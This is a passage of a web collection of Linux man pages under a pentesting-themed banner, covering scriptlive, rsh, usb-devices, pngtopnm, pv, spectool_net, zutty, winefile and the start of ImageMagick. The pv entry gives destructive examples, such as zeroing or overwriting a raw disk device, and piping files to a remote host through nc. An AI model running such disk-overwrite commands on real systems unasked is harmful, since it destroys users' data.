File containing scripts terminal input.

-B, –log-io file

File containing scripts terminal output and input.

-t, –timing file

File containing scripts timing output. This option overrides old-style arguments.

-T, –log-timing file

Aliased to -t, maintained for compatibility with script(1) command-line options.

-d, –divisor number

Speed up the replay displaying this number of times. The argument is a floating-point number. It’s called divisor because it divides the timings by this factor. This option overrides old-style arguments.

-m, –maxdelay number

Set the maximum delay between updates to number of seconds. The argument is a floating-point number. This can be used to avoid long pauses in the typescript replay.

-h, –help

Display help text and exit.

-V, –version

Print version and exit.

EXAMPLES

% script –log-timing file.tm –log-in script.in Script started, file is script.out % date <etc, etc> % exit Script done, file is script.out % scriptlive –log-timing file.tm –log-in script.in

AUTHORS

COPYRIGHT

Copyright © 2019 Karel Zak

This is free software; see the source for copying conditions. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

Released under the GNU General Public License version 2 or later.

SEE ALSO

script(1), scriptreplay(1)

REPORTING BUGS

For bug reports, use the issue tracker at <https://github.com/util-linux/util-linux/issues>.

AVAILABILITY

The scriptlive command is part of the util-linux package which can be downloaded from Linux Kernel Archive <https://www.kernel.org/pub/linux/utils/util-linux/>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

664 - Linux cli command rsh-redone-rsh

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command rsh-redone-rsh and provides detailed information about the command rsh-redone-rsh, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the rsh-redone-rsh.

makes a connection to the remote shell daemon running on

and starts

on the remote machine. All input is transmitted to the remote machine and all output on the remote machine is sent back to the

client on the local machine.

Use only IPv4 to connect to the remote host.

Use only IPv6 to connect to the remote host.

Be verbose.

Redirect stdin to

to be able to run rsh in the background.

Connect to the remote host as a different user than on the local machine.

Connect to a different port than the default one for

RFC 1282.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

665 - Linux cli command usb-devices

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command usb-devices and provides detailed information about the command usb-devices, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the usb-devices.

NAME 🖥️ usb-devices 🖥️

devices - print USB device details

SYNOPSIS

usb-devices

DESCRIPTION

usb-devices is a shell script that can be used to display details of USB buses in the system and the devices connected to them.

The output of the script is similar to the usb/devices file available either under /proc/bus (if usbfs is mounted), or under /sys/kernel/debug (if debugfs is mounted there). The script is primarily intended to be used if the file is not available.

In contrast to the usb/devices file, this script only lists active interfaces (those marked with a “*” in the usb/devices file) and their endpoints.

Be advised that there can be differences in the way information is sorted, as well as in the format of the output.

RETURN VALUE

If sysfs is not mounted, a non-zero exit code is returned.

FILES

/sys/bus/usb/devices/usb*
The part of the sysfs tree the script walks through to assemble the printed information.

/proc/bus/usb/devices
Location where the usb/devices file can normally be found for Linux kernels before 2.6.31, if usbfs is mounted.

/sys/kernel/debug/usb/devices
Location where the usb/devices file can normally be found for Linux kernel 2.6.31 and later, if debugfs is mounted.

SEE ALSO

lsusb(8), usbview(8).

AUTHORS

Greg Kroah-Hartman <[email protected]>

Randy Dunlap <[email protected]>

Frans Pop <[email protected]>

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

666 - Linux cli command pngtopnm

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pngtopnm and provides detailed information about the command pngtopnm, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pngtopnm.

.

NAME 🖥️ pngtopnm 🖥️

Convert a PNG image to PNM: replaced by pngtopam

SYNOPSIS

pngtopnm [-verbose] [-alpha | -mix] [-background=color] [-gamma=value] [-text=filename] [-time] [pngfile]

Minimum unique abbreviation of option is acceptable. You may use double hyphens instead of single hyphen to denote options. You may use white space in place of the equals sign to separate an option name from its value.

DESCRIPTION

This program is part of Netpbm(1) .

pngtopnm was obsoleted by pngtopam(1) , introduced with Netpbm 10.44 (September 2008). pngtopam is backward compatible with pngtopnm, plus adds many additional functions, including the ability to produce a PAM image that includes a transparency (alpha) channel.

Starting in Release 10.48, pngtopnm is just an alias for pngtopam.

pngtopnm remained in the Netpbm package through Release 10.47 because it may have fewer bugs than pngtopam in those releases, and may be faster in some environments. But pngtopnm’s incompatibility with the most current PNG libraries makes it impractical to maintain along with pngtopam now.

In releases before 10.48, you can use the pngtopam documentation for pngtopnm, considering the following differences:

  • pngtopnm options are a subset of pngtopam’s, as documented above.

  • Any change that the pngtopam manual says happened in or after Netpbm 10.44 doesn’t apply to pngtopnm.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pngtopnm.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

667 - Linux cli command pv

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pv and provides detailed information about the command pv, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pv.

NAME 🖥️ pv 🖥️

monitor the progress of data through a pipe

SYNOPSIS

pv [OPTION] [FILE]…
pv [-h|-V]

DESCRIPTION

pv shows the progress of data through a pipeline by giving information such as time elapsed, percentage completed (with progress bar), current throughput rate, total data transferred, and ETA.

To use it, insert it in a pipeline between two processes, with the appropriate options. Its standard input will be passed through to its standard output and progress will be shown on standard error.

pv will copy each supplied FILE in turn to standard output (- means standard input), or if no FILEs are specified just standard input is copied. This is the same behaviour as cat(1).

A simple example to watch how quickly a file is transferred using nc(1):

pv file | nc -w 1 somewhere.com 3000

A similar example, transferring a file from another process and passing the expected size to pv:

cat file | pv -s 12345 | nc -w 1 somewhere.com 3000

A more complicated example using numeric output to feed into the dialog(1) program for a full-screen progress display:

*(tar cf - . *
*| pv -n -s $(du -sb . | awk ‘{print $1}’) *
*| gzip -9 > out.tgz) 2>&1 *
| dialog –gauge ‘Progress’ 7 70

Taking an image of a disk, skipping errors:

pv -EE /dev/your/disk/device > disk-image.img

Writing an image back to a disk:

pv disk-image.img > /dev/your/disk/device

Zeroing a disk:

pv < /dev/zero > /dev/your/disk/device

Note that if the input size cannot be calculated, and the output is a block device, then the size of the block device will be used and pv will automatically stop at that size as if -S had been given.

(Linux only): Watching file descriptor 3 opened by another process 1234:

pv -d 1234:3

(Linux only): Watching all file descriptors used by process 1234:

pv -d 1234

OPTIONS

pv takes many options, which are divided into display switches, output modifiers, and general options.

DISPLAY SWITCHES

If no display switches are specified, pv behaves as if -p, -t, -e, -r, and -b had been given (i.e. everything except average rate is switched on). Otherwise, only those display types that are explicitly switched on will be shown.

-p, –progress
Turn the progress bar on. If any inputs are not files, or are unreadable, and no size was explicitly given (with the -s modifier), the progress bar cannot indicate how close to completion the transfer is, so it will just move left and right to indicate that data is moving.

-t, –timer
Turn the timer on. This will display the total elapsed time that pv has been running for.

-e, –eta
Turn the ETA timer on. This will attempt to guess, based on current transfer rates and the total data size, how long it will be before completion. This option will have no effect if the total data size cannot be determined.

-I, –fineta
Turn the ETA timer on, but display the estimated local time of arrival instead of time left. When the estimated time is more than 6 hours in the future, the date is shown as well.

-r, –rate
Turn the rate counter on. This will display the current rate of data transfer.

-a, –average-rate
Turn the average rate counter on. This will display the current average rate of data transfer (default: last 30s, see -m).

-b, –bytes
Turn the total byte counter on. This will display the total amount of data transferred so far.

-8, –bits
Display the total bits instead of the total bytes. The output suffix will be “b” instead of “B”.

-k, –si
Display and interpret suffixes as multiples of 1000 rather than the default of 1024. Note that this only takes effect on options after this one, so for consistency, specify this option first.

-T, –buffer-percent
Turn on the transfer buffer percentage display. This will show the percentage of the transfer buffer in use - but see the caveat under %T in the FORMATTING section below. Implies -C.

**-A NUM, –last-written **NUM
Show the last NUM bytes written - but see the caveat under %nA in the FORMATTING section below. Implies -C.

**-F FORMAT, –format **FORMAT
Ignore the options -p, -t, -e, -r, -a, -b, -T, and -A, and instead use the format string FORMAT to determine the output format. See the FORMATTING section below.

-n, –numeric
Numeric output. Instead of giving a visual indication of progress, pv will give an integer percentage, one per line, on standard error, suitable for piping (via convoluted redirection) into dialog(1). Note that -f is not required if -n is being used.

Note that if –numeric is in use, then adding –bytes will cause the number of bytes processed so far to be output instead of a percentage; if –line-mode is also in use as well as –bytes and –numeric, then instead of bytes or a percentage, the number of lines so far is output. And finally, if –timer is added to –numeric, then each output line is prefixed with the elapsed time so far, as a decimal number of seconds.

-q, –quiet
No output. Useful if the -L option is being used on its own to just limit the transfer rate of a pipe.

OUTPUT MODIFIERS

-W, –wait
Wait until the first byte has been transferred before showing any progress information or calculating any ETAs. Useful if the program you are piping to or from requires extra information before it starts, eg piping data into gpg(1) or mcrypt(1) which require a passphrase before data can be processed.

**-D SEC, –delay-start **SEC
Wait until SEC seconds have passed before showing any progress information, for example in a script where you only want to show a progress bar if it starts taking a long time. Note that this can be a decimal such as 0.5.

**-s SIZE, –size **SIZE
Assume the total amount of data to be transferred is SIZE bytes when calculating percentages and ETAs. The same suffixes of “k”, “m” etc can be used as with -L.

If SIZE starts with @, the size of file whose name follows the @ will be used.

Note that –size has no effect if used with **-d **PID to watch all file descriptors of a process, but will work with -d PID:FD.

-l, –line-mode
Instead of counting bytes, count lines (newline characters). The progress bar will only move when a new line is found, and the value passed to the -s option will be interpreted as a line count.

If this option is used without -s, the “total size” (in this case, total line count) is calculated by reading through all input files once before transfer starts. If any inputs are pipes or non-regular files, or are unreadable, the total size will not be calculated.

-0, –null
Count lines as terminated with a zero byte instead of with a newline. This option implies –line-mode.

**-i SEC, –interval **SEC
Wait SEC seconds between updates. The default is to update every second. Note that this can be a decimal such as 0.1.

**-m SEC, –average-rate-window **SEC
Compute current average rate over a SEC seconds window for average rate and ETA calculations (default 30 seconds).

**-w WIDTH, –width **WIDTH
Assume the terminal is WIDTH characters wide, instead of trying to work it out (or assuming 80 if it cannot be guessed). If this option is used, the output width will not be adjusted if the width of the terminal changes while the transfer is running.

**-H HEIGHT, –height **HEIGHT
Assume the terminal is HEIGHT rows high, instead of trying to work it out (or assuming 25 if it cannot be guessed). If this option is used, the output height will not be adjusted if the height of the terminal changes while the transfer is running.

**-N NAME, –name **NAME
Prefix the output information with NAME. Useful in conjunction with -c if you have a complicated pipeline and you want to be able to tell different parts of it apart.

-f, –force
Force output. Normally, pv will not output any visual display if standard error is not a terminal. This option forces it to do so.

-c, –cursor
Use cursor positioning escape sequences instead of just using carriage returns. This is useful in conjunction with -N (name) if you are using multiple pv invocations in a single, long, pipeline.

DATA TRANSFER MODIFIERS

**-o FILE, –output **FILE
Write data to FILE rather than standard output. If the file already exists, it will be truncated.

**-L RATE, –rate-limit **RATE
Limit the transfer to a maximum of RATE bytes per second. A suffix of “K”, “M”, “G”, or “T” can be added to denote kibibytes (*1024), mebibytes, and so on. If –si was also passed, suffixes will denote kilobytes (*1000), megabytes, etc. Note the caveat about the positioning of –si .

**-B BYTES, –buffer-size **BYTES
Use a transfer buffer size of BYTES bytes. A suffix of “K”, “M”, “G”, or “T” can be added to denote kibibytes (*1024), mebibytes, and so on. The default buffer size is the block size of the input file’s filesystem multiplied by 32 (512KiB max), or 400KiB if the block size cannot be determined. This can be useful on platforms like MacOS which perform better in pipelines with specific buffer sizes such as 1024. Implies -C.

-C, –no-splice
Never use splice(2), even if it would normally be possible. The splice(2) system call is a more efficient way of transferring data from or to a pipe than regular read(2) and write(2), but means that the transfer buffer may not be used. This prevents -A and -T from working, cannot work with -X, and makes -B redundant, so using -A, -T, -X, or -B automatically switches on -C. Switching on -C results in a small loss of transfer efficiency. (This option has no effect on systems where splice(2) is unavailable).

-E, –skip-errors
Ignore read errors by attempting to skip past the offending sections. The corresponding parts of the output will be null bytes. At first only a few bytes will be skipped, but if there are many errors in a row then the skips will move up to chunks of 512. This is intended to be similar to dd conv=sync,noerror but has not been as thoroughly tested.

Specify -E twice to only report a read error once per file, instead of reporting each byte range skipped.

**-Z BYTES, –error-skip-block **BYTES
When ignoring read errors with -E, instead of trying to adaptively skip by reading small amounts and skipping progressively larger sections until a read succeeds, move to the next file block of BYTES bytes as soon as an error occurs. There may still be some shorter skips where the block being skipped coincides with the end of the transfer buffer.

This option can only be used with -E and is intended for use when reading from a block device, such as -E -Z 4K to skip in 4 kibibyte blocks. This will speed up reads from faulty media, at the expense of potentially losing more data.

-S, –stop-at-size
If a size was specified with -s, stop transferring data once that many bytes have been written, instead of continuing to the end of input.

-Y, –sync
After every write operation, synchronise the buffer caches to disk - see fdatasync(2). This has no effect when the output is a pipe. Using -Y may improve the accuracy of the progress bar when writing to a slow disk.

-K, –direct-io
Set the O_DIRECT flag on all inputs and outputs, if it is available. This will minimise the effect of caches, at the cost of performance. Due to memory alignment requirements, it also may cause read or write failures with an error of “Invalid argument”, especially if reading and writing files across a variety of filesystems in a single pv call. Use this option with caution.

-X, –discard
Instead of transferring input data to standard output, discard it. This is equivalent to redirecting standard output to /dev/null, except that write(2) is never called. Implies -C.

**-d *PID[:**FD], ***–watchfd *PID[:*FD]
Instead of transferring data, watch file descriptor FD of process PID, and show its progress. The pv process will exit when FD either changes to a different file, changes read/write mode, or is closed; other data transfer modifiers - and remote control - may not be used with this option.

If only a PID is specified, then that process will be watched, and all regular files and block devices it opens will be shown with a progress bar. The pv process will exit when process PID exits.

**-R PID, –remote **PID
If PID is an instance of pv that is already running, **-R **PID will cause that instance to act as though it had been given this instance’s command line instead. For example, if pv -L 123K is running with process ID 9876, then running pv -R 9876 -L 321K will cause it to start using a rate limit of 321KiB instead of 123KiB. Note that some options cannot be changed while running, such as -c, -l, -f, -D, -E, and -S.

GENERAL OPTIONS

**-P FILE, –pidfile **FILE
Save the process ID of pv in FILE. The file will be replaced if it already exists, and will be removed when pv exits. While pv is running, it will contain a single number - the process ID of pv - followed by a newline.

-h, –help
Print a usage message on standard output and exit successfully.

-V, –version
Print version information on standard output and exit successfully.

FORMATTING

If the -F option is given, then the output format is determined by the given format string. Within that string, the following sequences can be used:

%p
Progress bar. Expands to fill the remaining space. Should only be specified once. Equivalent to -p.

%t
Elapsed time. Equivalent to -t.

%e
ETA as time remaining. Equivalent to -e.

%I
ETA as local time of completion. Equivalent to -I.

%r
Current data transfer rate. Equivalent to -r.

%a
Average data transfer rate. Equivalent to -a.

%b
Bytes transferred so far (or lines if -l was specified). Equivalent to -b. If –bits was specified, %b shows the bits transferred so far, not bytes.

%T
Percentage of the transfer buffer in use. Equivalent to -T. Shows “{—-}” if the transfer is being done with splice(2), since splicing to or from pipes does not use the buffer.

%nA
Show the last n bytes written (e.g. %16A for the last 16 bytes). Shows only dots if the transfer is being done with splice(2), since splicing to or from pipes does not use the buffer.

%N
Name prefix given by -N. Padded to 9 characters with spaces, and suffixed with :.

%%
A single %.

The format string equivalent of turning on all display switches is `%N %b %T %t %r %a %p %e’.

COMMON SWITCHES

Some suggested common switch combinations:

pv -ptebar
Show a progress bar, elapsed time, estimated completion time, byte counter, average rate, and current rate.

pv -betlap
Show a progress bar, elapsed time, estimated completion time, line counter, and average rate, counting lines instead of bytes.

pv -t
Show only the elapsed time - useful as a simple timer, e.g. sleep 10m | pv -t.

pv -pterb
The default behaviour: progress bar, elapsed time, estimated completion time, current rate, and byte counter.

On MacOS, it may be useful to specify -B 1024 in a pipeline, as this may improve performance.

EXIT STATUS

An exit status of 1 indicates a problem with the -R or -P options.

Any other exit status is a bitmask of the following:

2
One or more files could not be accessed, stat(2)ed, or opened.

4
An input file was the same as the output file.

8
Internal error with closing a file or moving to the next file.

16
There was an error while transferring data from one or more input files.

32
A signal was caught that caused an early exit.

64
Memory allocation failed.

A zero exit status indicates no problems.

ENVIRONMENT

The following environment variables may affect pv:

HOME
The current user’s home directory. This may be used by the remote control mechanism (the –remote option) to exchange messages between pv instances: if the /run/user/UID/ directory does not exist (where UID is the current user ID), then $HOME/.pv/ will be used instead.

TMPDIR, TMP
The directory to create per-tty lock files for the terminal when using the –cursor option. If TMPDIR is set to a non-empty value, it is the directory under which lock files are created. Otherwise, if TMP is set, then it is used; and if neither are set, then /tmp is used.

AUTHOR

Written by Andrew Wood, with patches submitted by various other people. Please see the package’s ACKNOWLEDGEMENTS file for a complete list of contributors.

KNOWN PROBLEMS

The following problems are known to exist in pv:

  • In some versions of bash(1) and zsh(1), the construct <(pv filename) will not output any progress to the terminal when run from an interactive shell, due to the subprocess being run in a separate process group from the one that owns the terminal. In these cases, use –force.
  • The -c option does not work properly on Cygwin without cygserver running, if started near the bottom of the screen (IPC is needed to handle the terminal scrolling). To fix this, start cygserver before using pv -c.
  • The -R option requires that either /run/user/<uid>/ or $HOME/ can be written to, for inter-process communication.

If you find any other problems, please report them.

REPORTING BUGS

Please report any bugs to [email protected].

Alternatively, use the issue tracker linked from the pv home page: <https://www.ivarch.com/programs/pv.shtml>

SEE ALSO

cat(1), dialog(1), splice(2), open(2) (for O_DIRECT)

COPYRIGHT

Copyright © 2002-2008, 2010, 2012-2015, 2017, 2021, 2023-2024 Andrew Wood.

License GPLv3+: GNU GPL version 3 or later <https://www.gnu.org/licenses/gpl-3.0.html>.

This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

668 - Linux cli command spectool_net

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command spectool_net and provides detailed information about the command spectool_net, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the spectool_net.

NAME 🖥️ spectool_net 🖥️

SYNOPSIS

spectool_net [-b secs] [-p port] [-a bind address]

DESCRIPTION

spectool_net is network server to which spectool_gtk can connect.

OPTIONS

This program follows the usual GNU command line syntax, with long options starting with two dashes (`-’). A summary of options is included below.

-h –help
Show summary of options.

-b secs –broadcast secs
Send broadcast announce.

-p port –port port
Use alternate port.

-a address –bindaddr address
Bind to specific address.

SEE ALSO

spectool_gtk (1), spectool_curses (1), spectool_raw (1).

AUTHOR

This manual page was written by Francois Marier <[email protected]> for the Debian system (but may be used by others). Permission is granted to copy, distribute and/or modify this document under the terms of the GNU General Public License, Version 3 any later version published by the Free Software Foundation.

On Debian systems, the complete text of the GNU General Public License can be found in /usr/share/common-licenses/GPL.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

669 - Linux cli command zutty

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command zutty and provides detailed information about the command zutty, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the zutty.

NAME 🖥️ zutty 🖥️

Efficient full-featured X11 terminal emulator

DESCRIPTION

This manual page documents briefly the zutty program.

This manual page was written for the Debian™ distribution because the original program does not have a manual page.

zutty is a terminal emulator for the X Window System, functionally similar to several other X terminal emulators such as xterm, rxvt and more. It is also similar to other, much more modern, GPU-accelerated terminal emulators.

SYNOPSYS

zutty [options] [shell]

OPTIONS

-altScroll
Alternate scroll mode.

-autoCopy
Sync primary to clipboard.

-bg color
Set background color (default: #000).

-boldColors
Enable bright for bold.

-border pixels
Border width in pixels (default: 2).

-cr color
Cursor color.

-display display
Display to connect to.

-dwfont font
Double-width font to use (default: 18x18ja).

-fg color
Foreground color (default: #fff).

-font font
Font to use (default: 9x18).

-fontsize size
Font size (default: 16).

-fontpath path
Font search path (default: /usr/share/fonts).

-geometry WidthxHeight
Terminal size in chars (default: 80x24).

-glinfo
Print OpenGL information.

-help
Print usage listing and quit.

-listres
Print resource listing and quit.

-login
Start shell as a login shell.

-name name
Instance name for Xrdb and WM_CLASS.

-rv
Reverse video.

-saveLines number
Lines of scrollback history (default: 500).

-shell filename
Shell program to run.

-showWraps
Show wrap marks at right margin.

-title title: Window title (default: Zutty).

-quiet
Silence logging output.

-verbose
Output info messages.

-e command
Command line to run.

SEE ALSO

X(1).

AUTHORS

Tom Szilagyi
Wrote the zutty program.

Ricardo Mones <[email protected]>
Wrote this manpage for the Debian system.

COPYRIGHT

Copyright © 2021-2024 Ricardo Mones

This manual page was written for the Debian™ system (but may be used by others).

Permission is granted to copy, distribute and/or modify this document under the terms of the GNU General Public License, Version 3 or (at your option) any later version published by the Free Software Foundation.

On Debian™ systems, the complete text of the GNU General Public License can be found in /usr/share/common-licenses/GPL.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

670 - Linux cli command winefile-stable

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command winefile-stable and provides detailed information about the command winefile-stable, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the winefile-stable.

NAME 🖥️ winefile-stable 🖥️

Wine File Manager

SYNOPSIS

winefile* path*

DESCRIPTION

winefile is the Wine file manager, with a similar design to early Microsoft Windows explorer.

USAGE

You can pass winefile either a Unix or Win32 path, for example:

Using a Unix path: winefile /mnt/hda1

Using a Win32 path: “winefileC:\windows\

BUGS

Bugs can be reported on the

Wine bug tracker

AVAILABILITY

winefile is part of the Wine distribution, which is available through WineHQ, the

Wine development headquarters

SEE ALSO

wine(1),

Wine documentation and support

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

671 - Linux cli command ImageMagick-im6.q16

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ImageMagick-im6.q16 and provides detailed information about the command ImageMagick-im6.q16, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ImageMagick-im6.q16.

NAME 🖥️ ImageMagick-im6.q16 🖥️

is a free software suite for the creation, modification and display of bitmap images.

SYNOPSIS

convert-im6.q16 input-file [options] output-file

OVERVIEW

